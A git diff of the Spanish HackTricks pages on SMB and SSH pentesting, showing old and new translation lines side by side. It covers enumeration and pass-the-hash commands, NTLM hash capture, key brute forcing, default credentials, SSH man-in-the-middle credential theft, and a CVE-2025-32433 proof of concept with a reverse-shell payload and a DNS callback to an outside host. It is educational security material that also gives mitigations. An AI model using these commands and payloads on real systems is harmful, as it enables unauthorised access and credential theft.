![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
### SMBTrap usando MitMf
![Desde: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
De forma similar a SMB Trapping, plantar archivos maliciosos en un sistema objetivo (vía SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede entonces ser crackeado offline o usado en un [SMB relay attack](#smb-relay-attack).
De forma similar a SMB Trapping, plantar archivos maliciosos en un target system (vía SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede entonces ser crackeado offline o usado en un [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## Comandos automáticos de HackTricks
## HackTricks Comandos automáticos
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
@ -494,8 +510,8 @@ getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
@ -530,4 +546,10 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## Referencias
- [NetExec (CME) wiki – uso de Kerberos](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) – configuración del cliente y solución de problemas](../pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}

229
src/network-services-pentesting/pentesting-ssh.md
View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Información Básica
## Información básica
**SSH (Secure Shell o Secure Socket Shell)** es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.
**SSH (Secure Shell or Secure Socket Shell)** es un protocolo de red que permite una conexión segura a un equipo a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.
**Puerto por defecto:** 22
```
@ -12,40 +12,40 @@
```
**Servidores SSH:**
- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluido en distribuciones de BSD, Linux y Windows desde Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementación de SSH para Windows, el cliente es comúnmente utilizado pero el uso del servidor es más raro
- [openSSH](http://www.openssh.org) – OpenBSD SSH, incluido en BSD, distribuciones de Linux y Windows desde Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Implementación de SSH para entornos con recursos limitados de memoria y procesador, incluido en OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Implementación de SSH para Windows; el cliente se usa comúnmente, pero el uso del servidor es más raro
- [CopSSH](https://www.itefix.net/copssh) – implementación de OpenSSH para Windows
**Bibliotecas SSH (implementando del lado del servidor):**
**Librerías SSH (implementación del lado del servidor):**
- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura SSH de git
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD basada en Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca de protocolo SSHv2 en Python
- [libssh](https://www.libssh.org) – Biblioteca C multiplataforma que implementa el protocolo SSHv2 con bindings en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); se usa en KDE para sftp y por GitHub para la infraestructura git sobre SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – Biblioteca de servidor SSHv2 escrita en ANSI C y orientada a entornos embebidos, RTOS y con recursos limitados
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – La biblioteca Java Apache SSHD está basada en Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – Biblioteca Python del protocolo SSHv2
## Enumeración
### Captura de Banner
### Banner Grabbing
```bash
nc -vn <IP> 22
```
### Auditoría ssh automatizada
### ssh-audit automatizado
ssh-audit es una herramienta para la auditoría de la configuración del servidor y cliente SSH.
ssh-audit es una herramienta para auditar la configuración de servidores y clientes ssh.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) es un fork actualizado de [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**Características:**
- Soporte para servidores de protocolo SSH1 y SSH2;
- analizar la configuración del cliente SSH;
- obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
- recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes;
- salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
- salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida);
- salida de información de seguridad (problemas relacionados, lista de CVE asignados, etc);
- analizar la compatibilidad de versiones de SSH basada en la información de algoritmos;
- Soporte de servidor para los protocolos SSH1 y SSH2;
- analizar la configuración de clientes SSH;
- capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
- recopilar algoritmos de key-exchange, host-key, encryption y message authentication code;
- mostrar información de algoritmos (available since, removed/disabled, unsafe/weak/legacy, etc);
- proporcionar recomendaciones de algoritmos (append or remove based on recognized software version);
- mostrar información de seguridad (related issues, assigned CVE list, etc);
- analizar la compatibilidad de versiones SSH basándose en la información de algoritmos;
- información histórica de OpenSSH, Dropbear SSH y libssh;
- funciona en Linux y Windows;
- sin dependencias
@ -69,17 +69,17 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
[Verlo en acción (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### Clave SSH pública del servidor
### Clave pública SSH del servidor
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Algoritmos de Cifrado Débiles
### Algoritmos de cifrado débiles
Esto se descubre por defecto con **nmap**. Pero también puedes usar **sslcan** o **sslyze**.
Esto se detecta por defecto con **nmap**. Pero también puedes usar **sslcan** o **sslyze**.
### Scripts de Nmap
### Nmap scripts
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -93,53 +93,72 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Fuerza bruta de nombres de usuario, contraseñas y claves privadas
### Enumeración de Nombres de Usuario
### Enumeración de usuarios
En algunas versiones de OpenSSH, puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:
En algunas versiones de OpenSSH se puede realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotarlo:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Fuerza bruta](../generic-hacking/brute-force.md#ssh)
### [Brute force](../generic-hacking/brute-force.md#ssh)
Algunas credenciales ssh comunes [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
Algunas credenciales ssh comunes [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y más abajo.
### Fuerza Bruta de Clave Privada
### Private Key Brute Force
Si conoces algunas claves privadas ssh que podrían ser utilizadas... intentémoslo. Puedes usar el script de nmap:
Si conoces algunas claves privadas ssh que podrían usarse... probémoslo. Puedes usar el nmap script:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
O el módulo auxiliar de MSF:
O el MSF auxiliary module:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
O use `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
O usa `ssh-keybrute.py` (nativo en python3, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Las badkeys conocidas se pueden encontrar aquí:
#### Se pueden encontrar badkeys conocidas aquí:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Claves SSH débiles / PRNG predecible de Debian
#### Weak SSH keys / Debian predictable PRNG
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser vulnerable a fuerza bruta. Conjuntos de claves pre-generadas procedentes de sistemas Debian afectados por PRNG débil están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Deberías buscar aquí para encontrar claves válidas para la máquina víctima.
Deberías revisar aquí para buscar claves válidas para la máquina víctima.
### Kerberos
### Kerberos / GSSAPI SSO
**crackmapexec** utilizando el protocolo `ssh` puede usar la opción `--kerberos` para **autenticarse a través de kerberos**.\
Para más información, ejecuta `crackmapexec ssh --help`.
Si el servidor SSH objetivo soporta GSSAPI (por ejemplo Windows OpenSSH en un controlador de dominio), puedes autenticarte usando tu Kerberos TGT en lugar de una contraseña.
## Credenciales por defecto
Flujo de trabajo desde un host atacante Linux:
```bash
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
# 2) Generate a krb5.conf for the target realm (optional, but handy)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
# 3) Obtain a TGT for the user
kinit <user>
klist
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Notes:
- Si te conectas al nombre equivocado (p. ej., host corto, alias o orden incorrecta en `/etc/hosts`), puedes obtener: "Server not found in Kerberos database" porque el SPN no coincide.
- `crackmapexec ssh --kerberos` también puede usar tu ccache para autenticación Kerberos.
## Credenciales predeterminadas
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
| ------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
@ -154,53 +173,53 @@ Para más información, ejecuta `crackmapexec ssh --help`.
## SSH-MitM
Si estás en la red local como la víctima que va a conectarse al servidor SSH usando nombre de usuario y contraseña, podrías intentar **realizar un ataque MitM para robar esas credenciales:**
Si estás en la red local junto con la víctima que se va a conectar al servidor SSH usando usuario y contraseña, puedes intentar **realizar un ataque MitM para robar esas credenciales:**
**Ruta de ataque:**
**Ruta del ataque:**
- **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima a su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al hacerse pasar por el servidor SSH legítimo.
- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenvía los comandos** al verdadero servidor SSH, **los ejecuta** y **envía los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo.
- **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima hacia su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** las credenciales de login del usuario haciéndose pasar por el servidor SSH legítimo.
- **Ejecución y retransmisión de comandos:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenvía los comandos** al servidor SSH real, los **ejecuta** y **devuelve los resultados** al usuario, haciendo que el proceso parezca fluido y legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo que se describe arriba.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo descrito arriba.
Para capturar y realizar el MitM real, podrías usar técnicas como el spoofing ARP, el spoofing DNS u otras descritas en los [**ataques de spoofing de red**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Para realizar el MitM real puedes usar técnicas como ARP spoofing, DNS spoofin u otras descritas en la [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Si deseas atravesar una red utilizando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada en cada sistema para nuevos hosts, entonces [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) es lo que necesitas.
Si quieres atravesar una red usando claves privadas SSH descubiertas en sistemas, utilizando cada clave privada de cada sistema para nuevos hosts, entonces [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) es lo que necesitas.
SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:
SSH-Snake realiza las siguientes tareas de forma automática y recursiva:
1. En el sistema actual, encuentra cualquier clave privada SSH,
2. En el sistema actual, encuentra cualquier host o destino (user@host) que las claves privadas puedan ser aceptadas,
3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas,
4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado.
1. En el sistema actual, buscar cualquier clave privada SSH,
2. En el sistema actual, buscar hosts o destinos (user@host) donde puedan aceptarse las claves privadas,
3. Intentar SSH a todos los destinos usando todas las claves privadas descubiertas,
4. Si un destino se conecta con éxito, repetir los pasos 1-4 en el sistema al que se ha conectado.
Es completamente auto-replicante y auto-propagante -- y completamente sin archivos.
Es completamente autorreplicante y autopropagable — y totalmente fileless.
## Configuraciones incorrectas
## Errores de configuración
### Inicio de sesión como root
### Inicio de sesión root
Es común que los servidores SSH permitan el inicio de sesión del usuario root por defecto, lo que representa un riesgo de seguridad significativo. **Deshabilitar el inicio de sesión como root** es un paso crítico para asegurar el servidor. El acceso no autorizado con privilegios administrativos y los ataques de fuerza bruta pueden mitigarse haciendo este cambio.
Es común que los servidores SSH permitan el inicio de sesión del usuario root por defecto, lo que representa un riesgo importante de seguridad. **Deshabilitar el inicio de sesión root** es un paso crítico para asegurar el servidor. El acceso no autorizado con privilegios administrativos y los ataques de fuerza bruta pueden mitigarse haciendo este cambio.
**Para deshabilitar el inicio de sesión como root en OpenSSH:**
**Para deshabilitar el inicio de sesión root en OpenSSH:**
1. **Edita el archivo de configuración de SSH** con: `sudoedit /etc/ssh/sshd_config`
2. **Cambia la configuración** de `#PermitRootLogin yes` a **`PermitRootLogin no`**.
3. **Recarga la configuración** usando: `sudo systemctl daemon-reload`
4. **Reinicia el servidor SSH** para aplicar los cambios: `sudo systemctl restart sshd`
1. **Editar el archivo de configuración de SSH** con: `sudoedit /etc/ssh/sshd_config`
2. **Cambiar la configuración** de `#PermitRootLogin yes` a **`PermitRootLogin no`**.
3. **Recargar la configuración** usando: `sudo systemctl daemon-reload`
4. **Reiniciar el servidor SSH** para aplicar los cambios: `sudo systemctl restart sshd`
### Fuerza bruta SFTP
### SFTP Brute Force
- [**Fuerza bruta SFTP**](../generic-hacking/brute-force.md#sftp)
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Ejecución de comandos SFTP
### Ejecución de comandos vía SFTP
Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactiva designada tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
Existe una omisión común en configuraciones SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar acceso a shell remoto. A pesar de asignar a los usuarios shells no interactivos (p. ej., `/usr/bin/nologin`) y confinarlos a un directorio específico, queda una vulnerabilidad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactivo designado tome control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
[Ejemplo de aquí](https://community.turgensec.com/ssh-hacking-guide/):
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id
...
@ -233,40 +252,40 @@ PermitTunnel no
X11Forwarding no
PermitTTY no
```
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o tunelización.
Esta configuración permitirá solo SFTP: deshabilitando el acceso a shell forzando el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de port forwarding o tunneling.
### SFTP Tunneling
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de esto, por ejemplo, utilizando el reenvío de puertos común:
Si tienes acceso a un servidor SFTP, también puedes redirigir tu tráfico a través de este mediante tunneling, por ejemplo usando el común port forwarding:
```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
```
### SFTP Symlink
El **sftp** tiene el comando "**symlink**". Por lo tanto, si tienes **derechos de escritura** en alguna carpeta, puedes crear **symlinks** de **otras carpetas/archivos**. Como probablemente estés **atrapado** dentro de un chroot, esto **no será especialmente útil** para ti, pero, si puedes **acceder** al **symlink** creado desde un **servicio** **no-chroot** (por ejemplo, si puedes acceder al symlink desde la web), podrías **abrir los archivos enlazados a través de la web**.
El **sftp** tiene el comando "**symlink**". Por lo tanto, si tienes **writable rights** en alguna carpeta, puedes crear **symlinks** de **other folders/files**. Como probablemente estés **trapped** dentro de un chroot, esto **won't be specially useful** para ti, pero, si puedes **access** el **symlink** creado desde un **no-chroot** **service** (por ejemplo, si puedes acceder al symlink desde la web), podrías **open the symlinked files through the web**.
Por ejemplo, para crear un **symlink** de un nuevo archivo **"**_**froot**_**" a "**_**/**_**"**:
Por ejemplo, para crear un **symlink** desde un nuevo archivo **"**_**froot**_**" a "**_**/**_**"**:
```bash
sftp> symlink / froot
```
Si puedes acceder al archivo "_froot_" a través de la web, podrás listar la carpeta raíz ("/") del sistema.
Si puedes acceder al archivo "_froot_" vía web, podrás listar la carpeta raíz ("/") del sistema.
### Métodos de autenticación
En entornos de alta seguridad, es una práctica común habilitar solo la autenticación basada en claves o la autenticación de dos factores en lugar de la simple autenticación basada en contraseña. Pero a menudo, los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como el método predeterminado, pero no deshabilitar `password`. Así que, al usar el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado:
En entornos de alta seguridad es una práctica habitual habilitar solo la autenticación basada en clave o la autenticación de dos factores en lugar de la autenticación simple basada en contraseña. Pero a menudo los métodos de autenticación más fuertes se habilitan sin deshabilitar los más débiles. Un caso frecuente es habilitar `publickey` en la configuración de openSSH y establecerlo como método por defecto pero sin desactivar `password`. Así, usando el modo verbose del cliente SSH, un atacante puede ver que un método más débil está habilitado:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
```
Por ejemplo, si se establece un límite de fallos de autenticación y nunca tienes la oportunidad de acceder al método de contraseña, puedes usar la opción `PreferredAuthentications` para forzar el uso de este método.
Por ejemplo, si se establece un límite de fallos de autenticación y nunca tienes la oportunidad de llegar al método password, puedes usar la opción `PreferredAuthentications` para forzar el uso de este método.
```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Revisar la configuración del servidor SSH es necesario para verificar que solo se autoricen los métodos esperados. Usar el modo verbose en el cliente puede ayudar a ver la efectividad de la configuración.
Revisar la configuración del servidor SSH es necesario para comprobar que solo se autoricen los métodos esperados. Utilizar el verbose mode en el client puede ayudar a observar la efectividad de la configuración.
### Archivos de configuración
```bash
@ -282,20 +301,20 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Bypass del Estado de Autenticación (RCE Pre-Auth)
## Authentication State-Machine Bypass (Pre-Auth RCE)
Varias implementaciones de servidores SSH contienen fallos lógicos en la **máquina de estados finitos de autenticación** que permiten a un cliente enviar mensajes de *protocolo de conexión* **antes** de que la autenticación haya finalizado. Debido a que el servidor no verifica que esté en el estado correcto, esos mensajes se manejan como si el usuario estuviera completamente autenticado, lo que lleva a **ejecución de código no autenticado** o creación de sesiones.
Varias implementaciones de servidores SSH contienen fallos lógicos en la **máquina de estados finita de autenticación** que permiten a un cliente enviar mensajes de *connection-protocol* **antes** de que la autenticación haya finalizado. Debido a que el servidor no verifica que se encuentra en el estado correcto, esos mensajes se manejan como si el usuario estuviera completamente autenticado, lo que conduce a **ejecución de código no autenticada** o a la creación de una sesión.
A nivel de protocolo, cualquier mensaje SSH con un _código de mensaje_ **≥ 80** (0x50) pertenece a la capa de *conexión* (RFC 4254) y debe **ser aceptado solo después de una autenticación exitosa** (RFC 4252). Si el servidor procesa uno de esos mensajes mientras aún está en el estado *SSH_AUTHENTICATION*, el atacante puede crear inmediatamente un canal y solicitar acciones como ejecución de comandos, reenvío de puertos, etc.
A nivel de protocolo, cualquier mensaje SSH con un _message code_ **≥ 80** (0x50) pertenece a la capa *connection* (RFC 4254) y debe **aceptarse únicamente después de una autenticación exitosa** (RFC 4252). Si el servidor procesa uno de esos mensajes mientras todavía está en el estado *SSH_AUTHENTICATION*, el atacante puede crear inmediatamente un channel y solicitar acciones como command execution, port-forwarding, etc.
### Pasos Genéricos de Explotación
### Pasos genéricos de explotación
1. Establecer una conexión TCP al puerto SSH del objetivo (comúnmente 22, pero otros servicios pueden exponer Erlang/OTP en 2022, 830, 2222…).
2. Crear un paquete SSH en bruto:
* 4 bytes de **packet_length** (big-endian)
* 1 byte de **message_code** ≥ 80 (por ejemplo, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Carga útil que será entendida por el tipo de mensaje elegido
2. Construir un paquete SSH bruto:
* 4 bytes **packet_length** (big-endian)
* 1 byte **message_code** ≥ 80 (p. ej. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload que sea entendido por el tipo de mensaje elegido
3. Enviar el/los paquete(s) **antes de completar cualquier paso de autenticación**.
4. Interactuar con las APIs del servidor que ahora están expuestas _pre-auth_ (ejecución de comandos, reenvío de puertos, acceso al sistema de archivos, …).
4. Interactuar con las APIs del servidor que ahora están expuestas _pre-auth_ (command execution, port-forwarding, acceso al sistema de archivos, …).
Esquema de prueba de concepto en Python:
```python
@ -309,41 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
En la práctica, necesitarás realizar (o omitir) el intercambio de claves según la implementación del objetivo, pero **nunca se realiza autenticación**.
En la práctica deberás realizar (o omitir) el intercambio de claves según la implementación del objetivo, pero **nunca se realiza autenticación**.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Versiones afectadas:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Causa raíz:** el daemon SSH nativo de Erlang no valida el estado actual antes de invocar `ssh_connection:handle_msg/2`. Por lo tanto, cualquier paquete con un código de mensaje de 80-255 llega al manejador de conexión mientras la sesión aún está en el estado *userauth*.
* **Impacto:** **ejecución remota de código** no autenticada (el daemon generalmente se ejecuta como **root** en dispositivos embebidos/OT).
* **Causa raíz:** el daemon SSH nativo de Erlang no valida el estado actual antes de invocar `ssh_connection:handle_msg/2`. Por lo tanto, cualquier paquete con un código de mensaje 80-255 llega al manejador de conexión mientras la sesión sigue en el estado *userauth*.
* **Impacto:** ejecución remota de código no autenticada (**remote code execution**) (el daemon normalmente se ejecuta como **root** en dispositivos embedded/OT).
Ejemplo de carga útil que genera un shell inverso vinculado al canal controlado por el atacante:
Ejemplo de payload que lanza un reverse shell vinculado al canal controlado por el atacante:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
La detección de RCE ciega / fuera de banda se puede realizar a través de DNS:
Blind RCE / out-of-band detection se puede realizar mediante DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detección y Mitigación:
* Inspeccionar el tráfico SSH: **descartar cualquier paquete con código de mensaje ≥ 80 observado antes de la autenticación**.
* Actualizar Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o más reciente.
* Restringir la exposición de puertos de gestión (22/2022/830/2222) – especialmente en equipos OT.
Detección y mitigación:
* Inspeccionar SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**.
* Actualizar Erlang/OTP a **27.3.3 / 26.2.5.11 / 25.3.2.20** o superior.
* Restringir la exposición de los puertos de gestión (22/2022/830/2222) – especialmente en equipos OT.
---
### Otras Implementaciones Afectadas
* **libssh** 0.6 – 0.8 (lado del servidor) – **CVE-2018-10933** – acepta un `SSH_MSG_USERAUTH_SUCCESS` no autenticado enviado por el cliente, efectivamente el error lógico inverso.
### Otras implementaciones afectadas
* **libssh** 0.6 – 0.8 (lado del servidor) – **CVE-2018-10933** – acepta un `SSH_MSG_USERAUTH_SUCCESS` no autenticado enviado por el cliente, efectivamente la falla lógica inversa.
La lección común es que cualquier desviación de las transiciones de estado exigidas por la RFC puede ser fatal; al revisar o hacer fuzzing de los daemons SSH, preste especial atención a *state-machine enforcement*.
La lección común es que cualquier desviación de las transiciones de estado mandadas por el RFC puede ser fatal; al revisar o hacer fuzzing a los demonios SSH, preste especial atención a la *aplicación de la máquina de estados*.
## Referencias
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Guías de endurecimiento de SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Guía de hacking de SSH de Turgensec](https://community.turgensec.com/ssh-hacking-guide)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
